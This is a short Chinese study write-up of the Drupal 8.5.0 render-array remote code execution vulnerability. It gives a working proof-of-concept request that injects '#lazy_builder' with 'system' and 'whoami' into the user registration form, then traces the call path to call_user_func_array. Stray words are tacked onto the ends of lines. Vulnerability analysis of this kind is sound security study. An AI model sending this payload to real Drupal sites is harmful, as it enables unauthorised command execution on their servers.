今天學習一下Drupal的另外一個漏洞,因爲渲染數組不當形成的漏洞php
poc:ajax
url:
http://localhost/drupal-8.5.0/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax post: 'mail[a][#lazy_builder][0]': 'system', 'mail[a][#lazy_builder][1][]': 'whoami', 'form_id': 'user_register_form'
使用poc進行測試,並在斷點處觀察其調用流程:數組
函數的漏洞入口點在:app
\core\modules\file\src\Element\ManagedFile.php處函數
通過explode函數處理,將get請求中的element_parents參數的值變成一個數組:即好比a/b/c變成了["a","b","c"]post
而後將處理完的$form_parents變量傳給NestedArray類的getValue函數處理,其中$form包含了表單的全部信息,咱們跟進一下:學習
其中getValue函數就是將$form中的值逐層取出,測試
若是$parents爲a/b/c,則結果值爲123ui
此時$callable變量爲system,$args變量爲["whoami"],而後再調用call_user_func_array()函數處理url